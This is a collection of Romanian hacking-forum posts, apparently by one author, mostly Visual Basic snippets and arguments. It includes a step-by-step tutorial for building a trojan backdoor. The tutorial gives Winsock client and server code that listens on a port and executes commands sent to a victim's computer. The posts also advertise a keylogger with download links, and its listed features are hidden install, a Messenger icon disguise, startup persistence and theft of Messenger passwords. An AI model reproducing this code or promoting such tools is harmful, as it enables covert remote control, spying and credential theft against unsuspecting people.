Nytro

Poate banda are 10mbps ... Incearca sa descarci ceva de aici : www.torrentbits.ro ( daca mai sunt deschise inregistrarile ) . Sau descarca de pe rapidshare , sau un host foarte bun ceva , asa o sa vezi ce viteza ai la net . Si ce cauta la "Intrebari frecvente si raspunsuri la ele" ?

Am deviat rau de la subiect . Dupa cum am spus , e o diferenta intre teorie si practica , o mare diferenta , daca vei incerca iti vei da seama . Ceea ce ai spus ultima oara chiar suna a lauda . Probabil ai fost la olimpiade de matematica ... Asta intelegi prin succese ? . Nu sunt ca tine : sa stau 25 de ore pe zi in fata calculatorului si restul de 25 de ore din zi sa stau sa invat sa scriu , sa tocesc . Nu vreau sa ajung ca tine ... Eu fac din placere spre deosebire de tine ... Inca o data , rog un admin sa stearga topica .

De multe ori inseamna insa bun ... De exemplu , Auto-Download se poate face cu un singur rand de cod . Tw8 vrea 300 . Cu ce il ajuta daca scrie 300 de randuri daca codul lui face acelasi lucru ? Nu am spus ca e cel mai bun , dar in primul rand e nou . Cel mai mare deficit al sau este ca necesita .NET Framework 3.5 . Il recomand incepatorilor ... Il recomand si avansatilor , sa il incerce , sa se dea cu parerea . Cred ca in viitor pentru a cred un program va fi nevoie de forte putina programare , de foarte putin cod .

Vb 9 e mult mai bun decat cred multi , mult mai usor de folosit ... E cel mai usorlimbaj pe care il stiu , poti face multe lucruri foarte usor ...

Mda ... In fine , rog un admin sa stearga topica ... Edit : tu stiai sa faci acest lucru ? Sti VB9 ? Ca e usor stiu , dar trebuia sa scriu 300 de pagini ca sa iti placa ? Si putin imi pasa daca iti place tie ... Pe unii poate ii va ajuta . Si acest cod mai si demonstreaza cat de usor e VB 9 ... Si de functiile kernelului ... Daca e sa te intreb o functie cred ca o vei sti , insa la pus in practica ... cred ca va fi mai greu ... Nu te mai da atot-stiutor , lasa vorbele si treci la fapte ...

Mda , esti atot stiutor ce cauti aici daca sti totul ? Lucrez la o lista , uite inceputul : [ Information ] OS Full Name : My.Computer.Info.OSFullName() AvailablePhysicalMemory My.Computer.Info.AvailablePhysicalMemory() / 1024 / 1024 AvailableVirtualMemory : My.Computer.Info.AvailableVirtualMemory() / 1024 / 1024 OSPlatform : My.Computer.Info.OSPlatform() OSVersion : My.Computer.Info.OSVersion() TotalPhysicalMemory : My.Computer.Info.TotalPhysicalMemory() / 1024 / 1024 TotalVirtualMemory : My.Computer.Info.TotalVirtualMemory / 1024 / 1024 ################################################################################## [ Clipboard ] Clear : My.Computer.Clipboard.Clear() Get image from Clipboard : My.Computer.Clipboard.GetImage() Get Text : My.Computer.Clipboard.GetText()

Nu e cine stie ce dar poate va va folosi , voi reveni cu mai multe Public Class Form1 Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load My.Computer.Network.DownloadFile("http://national.nsbe.org/Portals/0/images/Michael_Smith.jpgHR.jpg", "C:\x.jpg") End Sub End Class

Slick , daca dezactivezi din Options de la messenger : allow yahoo websites to view when i'm online , mai functioneaza xeeber ? Mai arata daca esti online ?

Ce oameni

Se poate face o pagina asemanatoare cu xeeber usor cu o combinatie php si javascript si css ... insa loading nu stiu ...

Daca gasesti ceva sa imi dai si mie . Nu stiu exact ce sa fac ...

Pai ideea de baza o stiu , nu stiu sa o pun in practica . Nu prea ma descurc cu fisierele . Deci deschid server binar si il impart intr-o matrice . Apoi trebuie unite elementele . Ceva de genu . Iar in server , la ce vreau sa editez , folosesc un delimitator , pe care il folosesc si in client pentru a imparti in matrice ...

rair in conquiztador s-au bagat o gramada de bani . Cei peste 100000 de vizitatori unici au dovedit asta . Ceea ce a descoperit Slick nu e un amarat de bug ... Sper ca programul sa nu fie niciodata publicat . E pacat de joc , cel mai reusit joc web pe care il stiu . Daca programul va fi publicat se va ajunge cum s-a ajuns cu codurile de cs : toti copii de 10 ani joaca si "dau numai headshoturi" . Felicitarile mele Slick

Ms . Se pot face mai multe pornind de la asta , de exemplu in loc de hide , ar merge close ... poate in loc de foreground windows un findwindow ... Trebuie decat sa ai imaginatie

Inca o porcarie pe care am descoperito in timp ce ma jcam cu API-urile Vom avea nevoie de 2 APIuri : Private Declare Function ShowWindow Lib "user32" Alias "ShowWindow" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Long Si de un Timer la Interval 1 . Private Sub Timer1_Timer() Dim x x = GetForegroundWindow() ' x va fi handlerul ferestrei care detine focusul ShowWindow x, 0 ' Folosim APIul ShowWindow pentru a ascunde fereastra End Sub Rulati si dati click pe o fereastra

Trebuia Winsock1.RemoteHost = Text1.Text Tzai ce am uitat ... Ms ca mi-ai zis . Gata , am corectat

Ms . Pai cred ca voi mai face decat o parte , initial ma gandisem la 3 . Am explicat intr-o topica Swap mouse , crazy mouse ... Dar le mai explic o data in partea a doua

Crearea unui Trojan BackDoor in Visual Basic 6 © Nytro 2008 www.mortal-team.com Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 . Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" End If End Sub Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori . Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc . Sper ca ati inteles . Credit : Nytro www.mortal-team.com

Am avut si niste probleme de la Visual Basic , nu puteam face . Pai nu e chiar asa de usor , am ideea de la Slick , dar e mai greu de pus in practica .

Ok , cred ca voi pune sa afiseze [ Backspace ] Ca sa se conecteze direct e nevoie de IP , de IP tau , deci serverul trebuie editat . Si inca nu stiu sa fac . Trebuie deschis binar bla bla ... Cand o sa am mai mult timp o sa incerc si asta .

:::: Digital Keylogger v3.0 :::: :::: © Nytro 2008 :::: :::: www.rstcenter.com :::: Digital Keylogger v3.0 : Made in Romania Client size : 912 KB Server size : 196 KB New : Server captures all windows . Server : Copy file : C:\WINDOWS\system32\explorer.exe Starup : Yes , SystemDriver Disable Task Manager : No Hidden Install : Yes Icon : Yahoo! Messenger No "Missing file error" for client and server . Features : - Get keylog Automat : You set how fast to recive the keylog from server . - Get keylog Manual : Click "Get Keylog" to get the keylog from server . - Close Y! : You will close victim's Yahoo! Messenger , the victim will login , and you will get his password . Server will disable "Remember ID & Password" and "Auto-Login" options if they are activated . - Kill Server : The server will be deleted from victim's pc . - Send Message : You can send a message to your victim . Message type will be critical , the title will be "Microsoft Windows" . - Use Backspace : If you select Yes , if your victim press Backspace button , it will have an effect to your keylog . It will delete a char from keylog . If you select No , pressing Backsapce button , won't have any effect . - Save Log : You can save the keylog to your PC . - System Tray : The client will move to System Tray , behind the clock . Just move mouse over his icon to restore it . Thanx , Nytro www.rstcenter.com Screenshot : Download : http://rapidshare.com/files/87242715/Digital_Keylogger_v3.0_by_Nytro.rar http://www.speedyshare.com/617551467.html http://uploaded.to/?id=xlp2fi http://www.netdrive.ws/48170.html Enjoy

Exista si preg si ereg sau decat preg ? Gasirea unui numar de telefon : Nu ar merge ? "^[0-9]{10}$"

Din cate stiam eu in perl e : preg , iar in php e ereg ...

Ar fi mai interesant ca "Programming" sa aibe mai multe categorii : VB , PHP etc...

Poate trebuia sa explici putin functia API-ul Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Are nevoie de 3 argumente : hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare . sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire . cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare . Sper sa va ajute